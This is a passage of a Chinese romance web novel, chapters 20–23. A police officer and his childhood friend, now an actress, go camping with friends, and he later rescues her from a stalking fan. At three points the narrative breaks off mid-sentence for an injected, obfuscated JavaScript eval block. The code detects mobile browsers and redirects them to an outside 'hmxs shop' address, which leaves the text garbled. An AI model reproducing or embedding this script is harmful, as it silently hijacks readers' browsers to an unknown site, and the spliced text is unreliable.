两个姑娘半天不吱声,手机键盘声不停响起,邢弋知道两人聊天框里的话题不会离了自己。 希望不要骂的太难听,他在心里祈祷两人嘴下留情。 沅江的冬天依旧不饶人,江宥一出门前忘了看天气预报,穿的略显单薄了些。 她其实刚踏出门就意识到了这一点,但是为了不破坏自己精心准备的穿搭,就这么硬着头皮上了车。 和卢珮宁聊得正开心,江宥一突然打了个喷嚏。 邢弋扭头看了她一眼,腾出右手打开了暖风,又从储物盒里拿出一条毛毯递给她。 他做完这些全程没说一个字。 卢珮宁坐在后面目睹一切。 太贴心了吧!她在心里感慨。 江宥一已经对他这样的绅士行为非常习惯了。 相处这些天,她开始逐渐意识到,邢弋虽然言语上一直在推开自己,但该有的关心,从未缺席。 在行为上看,他还是自己的那个邢弋。 “这么别扭,可能是有什么难言之隐吧!”江宥一在心里给自己洗脑。 她之所以这么有毅力,大概也就是因为想得开。 20. 铃兰花的花语 到了露营地,确实是人烟稀少,来对了,江宥一很满意这个地方。 “到哪儿了?” 邢弋给陈燃打去电话。 “就快到了,二十分钟。” “好。” 邢弋把手机放进兜里,江宥一不知道什么时候站到了他身边。 “他们快来了。” “嗯。” “还冷吗?” 邢弋打量了下江宥一,她把手揣进口袋里,站得笔直,眼睛看着远处躲进云层里的山峰,美得像幅画。 “怎么,要是冷的话,你要把外套给我穿吗?” 江宥一说话越发大胆起来,那双生得极好看的眼睛就这么盯着邢弋。 “要是冷我们就先回去,取消行程,因为这个感冒不值当。” 他甚至没有回她眼神。 江宥一长叹一口气,摇摇头,不知道说他什么好。 “我不冷。” 她也淡淡回他这么一句,算是宣告生气。 邢弋扭头看了她一眼,低头弯弯嘴角,从兜里拿出两个暖宝宝。 “不冷也拿着。” 江宥一不可置信地看看邢弋,也是好哄,就这样乐呵呵地接过。 “你经常出来露营吗?”邢弋难得主动开口问。 “也不是,工作忙,休息的时候就想窝在家里。” “嗯。” “你呢?” “一样。” 卢珮宁为了不打扰,一直躲在车里不下来,偶尔还会偷偷拍下两人站在一起的画面。 “以后你们婚礼,这照片都能当背景了。”她暗自嘀咕,想的也是远。 天气有点冷,等了十来分钟,几人决定先搭帐篷,边准备边等人。 “今天还有谁来啊?” 卢珮宁小声问江宥一。 “邢弋的两个同事,还有他同事的妹妹,江椿的同学。” “他同事帅不帅,是不和你的邢弋一样,特有型?” 卢珮宁脸上写满期待,矜持什么的,在她这里不存在。 “帅!帅惨了!来了你就知道了!” “好嘞,搞不好你姐妹我今天要在这里解决终身大事了,上周我用塔罗牌算了一算,这个月本人会有桃花哦!” “那提前恭喜你了!” 邢弋回头看了一眼,两人笑得正开心。 “你们去车里等,我来就好。” 他从小动手能力就强,还送给姜桃过自己的木雕作品。 面对这么有绅士风度的邢弋,卢珮宁这个大小姐没客气。 “那就辛苦你啦!” 在卢珮宁的认知里,这本来就是男人该干的活,她也确实不会,就又坐回了车里。 江宥一没和她上车,这次还真不是为了创造接近邢弋的机会,她是真的心疼他,想搭把手。 “我来帮你。” “我自己就可以。” “以后在我面前,不要老说自己可以,很多事情,多个人帮忙你会轻松很多。” 邢弋听着这话,有些恍惚,这么些年,这话他只听到过两次。 一次是江宥一,一次是十七年前的姜桃。 邢弋只比姜桃大几个月,但他在她面前,永远像个大哥哥,事无巨细地照顾她。 但姜桃从未觉得邢弋的照顾是理所应当的,她曾对他说过。 “如果累了,就歇歇,有我呢。” 这句话温暖了邢弋很多年。 他甚至有些贪恋这与江宥一并肩站在一起的片刻的幸福。 “江椿呢?怎么还没到?” 邢弋挺喜欢江宥一这个弟弟,倔强又可爱,还挺讲义气。 “说是有惊喜,要半个小时之后才到。” “你和你弟感情真好。” “那是,毕竟一起长大的嘛!” 江宥一一句无心的回答刺痛了两个人的心。 她差一点就可以和他一起长大了。 没给两人太多单独相处的时间,陈燃带着两位女生也到位了。 “江小姐,好久不见!” 陈燃依旧热情。 “宥一姐姐好!江椿呢?”陈灼曦一下车就在寻找江椿的身影。 他受伤之后,江宥一干脆让他多请了一礼拜的假,她想让江椿躲躲学校里的风言风语。 所以陈灼曦一直没能见到他,也不知道他的伤还严不严重。 “江椿就快到了!” 江宥一很高兴,一向习惯独来独往的弟弟终于在学校里交到了新朋友。 潘茁从车上下来,手里抱着一个保温箱。 陈燃也从后备箱把烤炉、折叠桌等东西搬了下来。 “不是说东西我这里都会准备吗?你们怎么带了这么多?” “没事儿,正好装备齐全,让你一个人破费也不合适。” 陈燃这人看着不靠谱,但关键时刻绝不掉链子。 卢珮宁听到动静,也从车里出来,小跑过来,表情却在看到陈燃的脸后僵住。 “是你?” 两人几乎是同时认出彼此的。 “你们认识?” 江宥一完全没想到,这两个八竿子打不着的人居然认识。 卢珮宁侧头小声在江宥一耳边说:“草履虫啊,他就是那个买了一箱橙子的冤大头‘草履虫’。” 江宥一若有所思地点点头,心想还真是冤家路窄。 上次的事情,陈燃心里一直过意不去,想当面和那个姑娘道个歉,他还以为不会再见到她了。 谁能想到,命运就是这么会捉弄人。 江宥一憋着笑主动介绍:“这是我朋友,卢珮宁,邢弋的同事,陈燃,潘茁,还有陈燃的妹妹,陈灼曦。” “陆小姐,不知道你还记不记得我,咱俩之前见过,你当时在买橙子,然后我……” 陈燃自己都有些不好意思说出后面的故事。 “首先,我姓卢,卢沟桥的路,不是陆,其次,我当然记得你。” 卢珮宁知道陈燃是邢弋同事,已经尽量在控制自己的脾气了,只不过,上回陈燃实在是把她气得够呛。 陈燃看得出来卢珮宁不好惹,且她确实还没消气。 “卢小姐,上次的事情实在抱歉,是我误会你了。” 卢珮宁虽然生气,但陈燃道歉态度这样诚恳,她也不好意思继续揪着这事儿不放。 得饶人处且饶人。 “没事,事情已经过去了,既然大家都是朋友,以后这事儿就别再提了。” 她完完全全是看在江宥一和邢弋面子上才这样说的,但是心里依然对于陈燃这个愣头青居然是刑警存疑。 现在这年头什么人都能当警察啦?这么不分是非以后可怎么办案子。 虽然大家并不熟悉,但毕竟都是二十多岁的青年男女,聊到感兴趣的话题,偶尔也会笑作一团。 难得有机会出来放松,大家都挺开心。 男生负责烧烤,女生开始准备火锅食材,边干边聊,时间也过得快。 又是十几分钟过去,江椿从一辆白色比亚迪轿车上下来。 “姐,我来啦!” 他双手紧紧揣在兜里,一路跑过来。 “慢点儿?你伤还没好呢?” 江宥一时时刻刻都在担心这个弟弟。 “怎么来这么晚?” “没什么,去取东西,耽误了点儿时间。” 江椿摆弄了下自己被风吹乱的头发。 “哦,你电话里跟我说有惊喜,是什么惊喜?” 江宥一用右肩撞撞江椿。 “一会儿你就知道了。” “行,你小子鬼点子还挺多,呐,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970769|193215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是念叨你救命恩人好几天了吗,邢弋在那儿烤肉呢,过去打个招呼。” “好嘞。” 江椿屁颠屁颠跑过去。 “邢弋哥,陈燃哥,上午好!” 十几岁的男孩儿,因为被人打伤送进医院,样子有够狼狈,再次和“恩人”见面,多少还是有点儿不好意思。 青春期嘛,面子还是要的,虽然声音里依旧听得出稚嫩,但表情可拽得很。 这算是他的伪装,只有看上去不好惹,在学校里才能不被欺负,能省不少事儿。 “早上好,看样子伤好的差不多了!” 邢弋抬头看他,他的精神状态确实比那天好多了。 “会烤肉吗?过来试试?”邢弋招呼他。 “嗯。” 他依旧双手插兜走过去,憋了好半天,才从兜里拿出一个木质钥匙链。 “哥,送你的,我自己做的,我姐说你喜欢木雕,我之前没怎么弄过,有点儿丑,别嫌弃。” 邢弋接过来,仔细端详,这孩子用椴木雕了个他的卡通形象,确实像那么回事儿。 “这小子还真有两把刷子啊,把你那儿劲儿劲儿的损样刻画得挺传神!”陈燃也凑过来观摩。 “谢谢你,有心了,礼物我很喜欢。” 这不是场面话,邢弋确实很喜欢。 送人礼物本来就不在贵贱,肯不肯用心最重要。 江椿这礼物一看就是花了心思的,邢弋自然高兴。 成功送出了礼物,江椿没再言语。 他也是个不会说漂亮话的孩子,平时话就少,在邢弋、陈燃这些不怎么熟悉的人面前,更是不怎么愿意开口。 不远处的江宥一看着弟弟在邢弋面前磨叽半天,也想知道这臭小子到底神神秘秘在忙些什么,就干脆把他叫过来问个清楚。 “江椿,过来吃点儿水果!” 她向他招手,江椿也是随叫随到。 “你刚给邢弋什么东西了?你准备的惊喜?” 江椿看她这一幅急不可耐的样子,觉得好笑。 还说不喜欢邢弋,对他的事情好奇心倒是蛮重。 这帮人都喜欢口是心非。 江椿又从口袋里拿出另一个木雕钥匙链,是一个穿着白色连衣短裙的卡通小女孩。 “喏,我刚给邢弋哥送的就是这个,给你也雕了一个,是不是很像你,情侣款的哦!” 江椿说完,表情意味深长。 江宥一没想到有朝一日会被弟弟开自己玩笑,神情有些不自然。 虽然她真的挺喜欢这个礼物,但也不好表现得太明显。 “小伙子,挺上道啊!” 卢珮宁不知道从哪儿冒出来,给江椿竖了个大拇指,遭到了江宥一的白眼警告。 “去去去,该干嘛干嘛去,别在我弟面前胡说!” “你又没学过这个,手没受伤吧?” 江宥一把钥匙链放进兜里,拿起江椿的双手检查起来。 “姐,我不是小孩儿了,能保护好自己。” “最好是。” 另一边,邢弋也把礼物收进口袋。 “刚才江椿说是江宥一告诉他你喜欢木雕的,她怎么知道?” 陈燃总算是聪明一回,居然发现了江椿这句话里最重要的信息。 “之前聊天的时候提起过。” 邢弋随便扯了个谎应付。 他才不会告诉陈燃,他九岁那年,第一个木雕作品,不会枯萎的铃兰花,送给了九岁的江宥一。 花了他半个月时间,也是他送给姜桃的最后一个礼物。 “这是什么花?” “铃兰花。” “好漂亮,可我喜欢雪莲,我想拥有超越苦难的坚强。” “但我希望你以后能幸运一点,再幸运一点,而不只是坚强。” 21. 《爱的可能》 陈燃不去纠结邢弋是否骗了他,也没注意到他正陷入一段久远但幸福的回忆。 “有没有觉得江椿很像一个人?” 陈燃的问题打断了邢弋逐渐飘远的思绪。 “像谁?” “这小子和你很像,你不觉得吗?” 陈燃又打量了下远处的江椿和眼前的邢弋,随即点点头,似是肯定了下自己的判断。 “胡说什么,我们哪里像了?” “我第一次见你的时候,你就和他现在一样,拽得二五八万的,看上去还挺装,性格也奇怪,老是喜欢一个人,不爱说话。” 陈燃说到一半感慨摇头。 “天啊,太像了,越看越像。怪不得江宥一对你有好感呢,你说她不会是爱屋及乌,觉得你像她弟吧?” 邢弋狠狠撞他肩膀一下。 “滚!” “不过说实话,这小子长得挺帅,不愧是江宥一的弟弟,你不觉得他们俩眉眼真的很像吗?” 邢弋一副关爱智障的表情看他,他是怎么看出两个毫无血缘关系的人长得像的? “要帮忙就过来,不帮忙哪凉快哪呆着去,吵死了。” “切,我告诉你,你这个样子,以后是找不到女朋友的哟!” 邢弋一脸无所谓,潘茁走过来替他补刀:“说的好像你能找到女朋友似的。” 陈燃吃瘪,表情臭得难看,邢弋和潘茁对视一眼,一齐笑他。 邢弋扯起一边嘴角,笑得玩世不恭,眼神却漫不经心地望向江宥一。 她正在烤火,循声看向嬉戏打闹的三人。 自她和邢弋重逢以来,他从没对她这样笑过,一次也没有。 江宥一心里堵得慌,没发觉自己这是吃醋了。 “那个潘茁是不喜欢你那竹马啊?” 连卢珮宁都看出来了。 “可能吧。”江宥一心不在焉地答。 “你是不是傻,好不容易约人出来露营,怎么把情敌也叫过来了?你这不是自寻死路?人家在一起工作,本就占着个近水楼台的便宜,你还上赶着给他们创造机会。” 卢珮宁看她还有心思坐这儿围炉煮茶,替她着急。 “什么情敌啊,你别乱说话,我又没说我喜欢邢弋,都是朋友,他要是有了喜欢的人,我会祝福他的。” 江宥一没对卢珮宁说实话,她自己心里清楚,这是她的自尊心在作祟。 她怕万一她承认自己对邢弋有奇怪的占有欲,万一以后他真的和别人在一起,自己会没法收场。 说白了,她暂时还接受不了邢弋爱上别人。 但你要问她,她对邢弋是什么感情,她好像也没搞清楚,她还没来得及真正沉下心去想,自己对他是依赖、是想念、还是喜欢,或许都有吧。 九岁分开,十七年后再见面,我怎么可能喜欢他,只是珍惜这个朋友罢了! 江宥一开始给自己洗脑。 卢珮宁当然不会相信她的鬼话。 在她看来,自从江宥一见到邢弋之后,就一直魂不守舍,嘴里心里就惦念着他一个人,这不是喜欢是什么? 她反正是不会这样对待一个普通朋友。 为了维护江宥一的小小自尊,卢珮宁没拆穿她,只希望有一天,她能自己想明白。 “烧烤好了!” 陈燃果然一时也安静不下来。 等江宥一闻声看过去时,邢弋已经端着盘子走到自己面前。 “饿了吧,先吃点儿羊肉串。” 这话虽然是冲着几个女生一齐说的,可碟子却明显更靠近江宥一。 卢珮宁心里有数,看着两人,硬是忍着没出言调侃。 邢弋坐在江宥一身边,见她没反应,主动递过去一串。 “尝尝吧!” 江宥一接过,说了句谢谢,心里乐开了花。 她真的有感觉到邢弋在慢慢接受自己的突然出现。 天色渐渐暗下来,几个人围着篝火,橙色的火光在夜色中跳跃,很是活泼。 江宥一搓搓手,指尖冰凉。 她的目光总是不由自主地落在邢弋身上,他的下颌线在明明灭灭的火光里比往常更清晰。 邢弋眼神沉静,一个人安静坐着,时不时参与到聊天里,但大多数时间都在放空。 只是偶尔,他会非常不经意地,朝江宥一的方向瞥过一瞬,快到让她误以为那是错觉。 她从不抗拒也不会躲开和他的眼神对视。 邢弋从车上又取出一条毛毯递给她。 “降温了,披上吧。” 他好像很喜欢照顾她。 邢弋的关心总是来得很及时,就好像他一直在关注江宥一。 “我们玩会儿游戏吧!”陈燃眼神扫过围在一起的男男女女,觉得不该就这样浪费时间。 “我有你没有,怎么样?输的人要唱歌。”卢珮宁应得很快,她爱极了各种游戏。 江宥一看向邢弋,他弯弯嘴角,没反对。 游戏开始,无非是些无伤大雅的趣事或糗事。 轮到江宥一,她视线轻轻扫过邢弋,发觉他在看自己,目光灼热,耳垂竟然红了。 她自己也感觉到了耳朵在发热,但她把这归结为酒精的作用。 今晚她高兴,和卢珮宁两人喝了半瓶勃艮第干白。 “我曾经两个月内增重15斤又减掉。” “哇哦!”众人惊呼。 “我可以作证哦!一一是为了拍戏,当时不好好吃饭,差点儿进了医院。”卢珮宁举起右手。 大家知道当明星会控制体重,但没想到要这么严苛。 只有邢弋,他原本随意搭在膝上的右手,在听到江宥一云淡风轻地说了这么一句后,紧握成拳。 他知道这是她的工作需要,但还是不受控制地心疼,这么大的人了,因为饿肚子进医院,她是怎么照顾自己的? 江宥一不是故意在众人面前卖惨求同情,只不过她想了一下,这已经是她一切经历里听起来不那么悲情的了。 被生身父母抛弃,被第一对养父母抛弃,唯一疼爱自己的奶奶去世,儿时最要好的朋友不愿和自己相认,因为莫须有的事情经历网暴…… 和上面这桩桩件件悲惨故事相比,为了工作增重又减肥,好像符合常理多了,起码听起来没那么不幸。 到了邢弋,他沉默着想了很久。 江宥一坐他身边,也在脑海中回想他可能会说的故事。 比如,他没有五岁以前的照片,他不知道自己的生日,他胳膊上有一条长长的疤,他第一次打架是因为对方说“你们这种人本来就不该被生下来”…… 可惜,她印象里和他一起经历的事情,只停留到九岁。 九岁以后的他的人生,她从未参与,也一概不知。 “我学过散打。” 江宥一猛地扭头看他,她果然还是被吓了一跳。 分开的这十几年,他们都有了新的故事。 几轮下来,邢弋不出意外地输掉了比赛。 他不愿意说出过去那些过分悲惨或实在新奇的遭遇,怕人觉得他有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979545|193215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卖惨或炫耀嫌疑。 他这二十多年,过得比别人的一辈子还要精彩。 他咽下过常人难以忍受的痛苦,也见识过世人难以企及的风景。 总之,没白活。 “我唱一首《爱的可能》吧!” 江宥一记得,邢弋唱歌特别好听。 从前,她很爱听他唱歌,他也只唱给她听。 这么多年没再听过,他清亮的少年音沉厚了许多,唱歌大概也会更好听吧! “虽然你对我的认真我也感动万分 你终究不是属于我的人……”(注:此段歌词引自叶蒨文《爱的可能》) 听着听着,江宥一的眼睛里竟盛满了泪。 泪珠不受控制地落下,她又不动声色地擦去泪痕。 好在没人发现。 一曲唱罢,她假借去车上取东西,一个人转身走进篝火光芒边缘的昏暗里。 邢弋注意到江宥一转身时红肿的双眼,看着她被夜色吞没的身影,他沉默坐了约莫十几秒,看周围人还在笑谈,便也蓦地站起身,跟着江宥一走进那片黑暗。 她站在车前,才想起忘了和邢弋拿钥匙,情绪有些控制不住,竟放声大哭起来。 她蹲在夜色中,双肩随着抽噎一下下起伏,时不时抬手擦拭脸颊,背影看着何其无辜。 邢弋没有打扰,他或多或少能够理解她的情绪为什么突然崩溃。 她的靠山从来都只有一个,当过去的回忆伴随着旧人的歌声一下子席卷而来,这些年一个人强撑着的防线,便也在顷刻间崩塌。 他应该上前抱抱她的,他就站在离她几步远的地方,双脚却像生了根。 那不过几米的距离,忽然变得像是一片无法泅渡的海。 当一阵颤动平静下来,江宥一转过身来,两人就这么对视许久,眼里却像有说不完的话。 她不知道他是什么时候来的,却在心里庆幸来人是他。 邢弋最终还是走上前去,快步穿过一层层无形的雾气,站在她面前,手臂将她环住,用力收紧,将她向后带了一点。 他的下巴抵在她的肩窝,鼻尖蹭到她脖颈,她能感觉到他胸膛剧烈的起伏,心跳快而重。 她也一样,她的心脏,正不受控制地,擂鼓般地跳动着。 江宥一的最后一滴泪无声落下,嘴角却是向上弯的。 还好,他在。 邢弋没有问她为什么哭,也没有让她别哭。 这个拥抱好像只是在告诉她,一切都会好的,他会一直在。 “你什么时候来的?”她问。 “回去吧。”他避而不答,终于松开了手。 他虚扶着她的后背,带着她往篝火的方向走。 谁也没说话,两人之间,安静得只剩下脚步声和沉重的呼吸声。 他身上淡淡的桂花味道,将她严严实实地笼罩。 快到大家面前,他护在她背后的手,很轻、很快地收回了。 “干什么去了?” 卢珮宁看着两人前后脚出去,又一起回来,笑着问。 江宥一已经冷静下来,却不知道要怎么回答。 “去车上找了几个暖宝宝。” 邢弋说着从兜里拿出来,递给江宥一。 她接过,随手塞进口袋,目光已经转向别处,只有耳朵根,在火光映照下,比刚才更红了几分。 【 作者有话说】本章标题及文中歌词片段,均出自叶蒨文的歌曲《爱的可能》。仅为行文需要引用,著作权归原作者所有。 22. 归队 “你觉不觉得你姐和邢弋哥有点儿不对劲啊?” 陈灼曦拽拽江椿袖子,一副吃瓜表情。 她坐在角落里已经观察半天了。 邢弋刚才唱歌的时候,江宥一手里捧着奶茶,静静望向他。 别人要不跟着节奏摇晃,要不小声跟唱,唯独她,只是看着他。 偶尔邢弋的目光扫过来,她又会侧过头,像是有意避开。 而且两人刚才回来,表情都不太自然,像是发生了什么。 直觉告诉陈灼曦,他们之间有故事。 她甚至已经脑补出了一段“她逃他追,霸道警察强制爱”的恨海情天旧事。 “我倒是希望他们之间有故事。”江椿叹了口气。 “对了,你怎么从来都没说过江宥一是你姐,也太低调了吧!” 陈灼曦这会儿才回过神来,要不是上次送江椿去医院,她怎么也不会把他和江宥一联想到一起。 “我家里的情况比较特殊,除了你,学校没其他人知道,所以……你得帮我保密。” “好,我保证不告诉任何人。” 陈灼曦感觉自己被委以重任,神情庄重。 “你们俩刚才干嘛去了?” 卢珮宁往江宥一身边挪了半步,挑眉道。 “不是说了嘛,找暖宝宝,你要吗?”江宥一欲盖弥彰,从兜里拿出两个暖宝宝要分给卢珮宁。 “你少来!傻子才信!” 卢珮宁抬眸看了眼正襟危坐的邢弋,笑得灿烂,心想:看你们两个能装多久? 江宥一瞒着卢珮宁,是因为她也不知道那个拥抱对邢弋来说有什么意义,又代表着什么? 他终于愿意坦然面对过去?还是说,他只是看到刚才狼狈的自己有些可怜? 难道那个拥抱是施舍? 江宥一看不透他的内心,一个人陷入慌乱。 旁边的卢珮宁还在喋喋不休。 “你知道你刚才错过了什么吗?陈燃也唱歌了哎,你别说,他正经起来的样子还挺帅!” 江宥一眉毛向上挑了挑,目光斜过来。 “你认真的?如果我没记错,前两天是你把他骂得‘人神共愤,天理不容’的吧?变脸变得可真够快!” 卢珮宁有些心虚,不动声色地移开视线,嘴角向下撇撇。 “我不是说了吗?那是误会,早就翻篇了,仔细看看,他长得也还行!” 陈燃单看长相,确实不错。 眉眼清澈,亲和力十足,嘴角天生微翘,不笑也带三分温柔。 他虽说不像邢弋那样帅得“惊天地,泣鬼神”,但也算得上“俊秀”二字。 只不过有些时候话比较多,容易得罪人。 江宥一扭头看了眼卢珮宁,她俨然一副陷入爱情的小女生模样。 “我的大小姐,麻烦你收敛一下,没发现陈燃已经被你吓到了吗?” 她说的没错,陈燃现在确实有些不自在。 卢珮宁的眼神正透过火光直落在他身上,这样的注视已经长达两分钟。 她以为自己传达过去的是爱意,但陈燃接收到的,确是杀气。 以至于散场要回家前,陈燃还特地找到卢珮宁解释。 “卢小姐,上回的事情,确实是我不对……” “请我吃饭吧,就当赔礼。” 卢珮宁倒是直接,她谈恋爱最不喜欢弯弯绕绕。 喜欢就是喜欢,这没什么好掩饰的。 “好啊。” 陈燃松了口气,他还正苦恼不知道该怎么表达歉意,毕竟卢珮宁一看就是什么都不缺的大小姐。 一来二去,两个人就这么加了联系方式,也算是歪打正着。 露营归来,邢弋、陈燃、潘茁三人的轮岗也终于正式结束。 今天是回支队报到的第一天。 三个人并排站在公安局门前空地,抬头注视着眼前的白色大楼。 终于回来了。 推开办公室那扇厚重的磨砂玻璃门,邢弋这才才有了归队的实感。 他和陈燃依然是回到一大队,潘茁被分到了六大队痕检室。 “愣着干嘛?魂儿落在派出所了?” 一大队队长赵旭东在他们脸上扫了一圈,目光定在了邢弋身上。 赵旭东刚过完39岁生日,这位大队长可不是一般人,行事铁腕,不怒自威,人称“拼命三郎”,在他的带领下,一大队屡破大案、要案。 熟悉他的人都知道,他表面不苟言笑,其实对手底下人特别的照顾,典型的铁汉柔情。 他一直很看好邢弋,二大队缺人,想和他“借”邢弋去帮两天忙,他硬是跟支队长拍桌子瞪眼睛,理论半天,死活没同意。 他知道,邢弋是个香饽饽,几个队都盯着呢。 可赵旭东也不是吃素的,他手底下的人谁敢惦记! “瘦了?在派出所这两年怎么样?” “报告赵队,挺好的。” 赵旭东笑笑,这小子还是和两年前一个样,不爱说话。 说完,他转身要走,又停下脚步,侧过半张脸。 “对了,晚上下班别溜,‘香满道火锅’,给你们接风。” “好嘞,谢谢队长!” * 晚上,香满道火锅店内。 赵旭东倒是随意,只是三个年轻人坐得肩背笔直,不敢松懈。 “放松点儿,赵队又不会吃了你们!” 罗骁笑着拍拍邢弋肩膀。 他比三人早五六年来支队,算是前辈。 “陈燃、邢弋,有对象了没?” 或许是为了帮这几个年轻人放松下来,罗骁主动问起。 两人齐齐摇头。 “真的?”罗骁似乎很惊讶。 “长这么帅又这么优秀,居然没对象?我有个妹妹,大学刚毕业,要不你们认识一下?” 他其实是留有私心的,一开始可能的确是为了调节气氛,但是一听到两人都是单身,又不由自主地替自家妹妹考虑起来。 肥水不流外人田,他倒真觉得妹妹会喜欢邢弋这一款。 有能力又低调,身手又好,关键是长得真是帅。 “骁哥,我就算了,上回分手哭了俩月,一时半会儿缓不过来。” 陈燃委婉拒绝,但他说的是实话。 他上一任女朋友和他在一起四年,两人是典型的从校园一起走进社会的情侣,整天黏在一起,恩爱的不得了。 后来也是因为女孩儿家里反对,才被迫分开。 女方父亲是医院院长,母亲是室内设计工作室老板,瞧不上陈燃这个普通工薪家庭出身的小伙子。 听说女孩儿刚分手还在和家里闹绝食,不出一年,就嫁给了个资产上亿的“餐二代”。 陈燃没怨她,他知道是自己没本事,怪不了别人,只是常常为这段感情感到可惜。 初恋嘛,想要忘记可没那么容易。 被陈燃拒绝后,罗骁又把视线转向邢弋。 “骁哥,对不起啊,我有喜欢的人了。” 毕业这两年,派出所里不少人要给邢弋介绍对象,他每次都是用同一个理由拒绝,百试不爽。 “害,没事儿,这有什么好对不起的,当不了妹夫,就当兄弟。” 罗骁才不会把这些小事儿放在心上,虽说可惜,但强扭的瓜不甜。 几个人东扯西扯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987603|193215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,聊着这些年的案子、派出所里的奇闻轶事…… 邢弋的手机突然响起。 “邢弋,你在哪儿,我好害怕。” 是江宥一,她的声音在抖。 邢弋心中一紧。 “怎么了?” “我在中兴路桥洞步道,有个人在跟着我,很久了,一直跟着,这附近没有其他路人,我拦车也没有车停下来,怎么办?” 电话那边,江宥一有些语无伦次,她的脚步声、呼吸声,都透过听筒清晰地传到了邢弋耳朵里。 “赵队,抱歉,我有急事儿,先走一会儿。” 不等赵旭东反应,他抓起外套就往外冲。 “听我说,我马上到,你分享位置给我,电话不要挂断,保持正常速度,不要回头,一直往北走,那里有条商业街,会有行人。” 江宥一带着哭腔应了一声。 “跟我说话,随便说什么都行,别怕,我听着呢。” “好,我现在走到了一个广告牌下面,这里有好多桂花树,但是没有我们小时候的那棵高,也没有那棵漂亮。你说我们还有机会回去看看嘛?赵阿姨不知道还在不在那儿工作?我想吃她做的糖醋鱼了。要是那年我没离开福利院,我们是不是就不会分开这么多年了?” 邢弋不断加速,车轮摩擦出刺耳声响。 江宥一机械地描述着路边的指示牌,她有很话想对邢弋说的,但是现在却什么都说不出来。 她不停抽泣,又努力不让自己哭出声来。 “我马上就到,离你不到500米,再坚持一下好吗?” 邢弋能感受到江宥一的恐惧,只能不断安抚她的情绪。 “江宥一?说话?” 对面突然没了声音,邢弋觉得头皮发麻,大脑一片空白。 “江宥一?” “我在,邢弋,我在,可是这条路好长,我走不出去,这里没有人,我好害怕。” “我看到你说的桂花树了,答应我,别回头,再坚持一下!” “嗯。” 江宥一听话地不敢回头去看,但是桥洞下有回声,她明显听到不止有她一个人的脚步声在回荡。 她感觉那声音离她越来越近,步伐规律得可怕。 下一秒,邢弋的黑色捷途急刹在江宥一身侧一米的距离。 车门打开,邢弋下车,动作干净利落。 江宥一眼泪止不住地涌出,他跨步走到她面前,拉她进怀里。 “没事了,我在。” 抱紧江宥一的那一刻,邢弋才感觉到自己的双手也在颤抖,后背的衣衫早已湿透。 跟踪江宥一那人,一身黑衣,戴着口罩,看不清脸,甚至分不出性别。 看到邢弋,他转身想走。 “站住。” 那人拔腿就跑。 邢弋追上对方,左手扣住他肩膀向下一按,右腿一扫。 跟踪者重重倒地,发出一声闷哼。 “别动,警察,为什么跟踪她?” 那人挣扎着抬起头,是个年轻男人。 “我没跟踪她,就是路过。” 邢弋见他不说实话,手上一用力,那人疼得直叫。 “对不起,你轻点儿,我说我说,我是她粉丝,就是想看看她家在哪儿,没别的了。” 邢弋皱眉,手上的力道不肯放松。 江宥一不放心他,站在车前,他冲她笑笑,然后摇头,示意她不要过来。 警笛声由远及近。 辖区派出所的同事到了,邢弋简单交代情况,把人交给他们。 临走之前,他在那人耳边小声警告:“离她远点儿,下次被我发现,没你好果子吃!” 23. 想见你 江宥一知道邢弋会很厉害,他小时候就很擅长打架。 刚刚看着他,脑海中竟不自觉浮现出十七年前那个保护自己的九岁的少年。 他还是那么勇敢,这次,她也同样可以放心地站在他的身后。 一切好像都没有变,江宥一心里闪过一瞬间的错觉,好似这些年,和他从未分开过。 邢弋到了没多久,陈燃开车载着赵旭东、罗骁、潘茁也赶到。 他走得太急,一句话没留下,几人不知道出了什么事,只能跟上他。 罗骁看到邢弋紧张江宥一的表情,立马就猜到,她就是邢弋口中喜欢的那位姑娘。 只是他没想到,对方竟是个明星。 “不介绍一下?”他故意打趣。 “这是我队长,赵旭东,这是我师兄,罗骁。” “队长好,师兄好。” 江宥一站在邢弋身侧,点头打招呼,有了几分家属感。 赵旭东不太认识什么明星,只觉得小姑娘长得不错,和邢弋很是般配。 “我说呢,你小子跑这么快,忙着英雄救美来了?怎么样,江小姐没事儿吧?”罗骁调侃他。 邢弋一刹间有些惊讶,他根本都还没来得及介绍江宥一的名字。 果然,他差点忘记了眼前这个楚楚可怜,仍需要他保护的女孩儿已是凭借自身努力在娱乐圈闯出不小名气的女演员。 “我没事儿,辛苦你们跑一趟。” 江宥一怎么都没想到能惊动这么多人。 “不辛苦,你是邢弋朋友,那就是我们朋友,朋友之间,不用客气。”罗骁和陈燃一样,很热情。 江宥一庆幸,邢弋身边都是顶好的人。 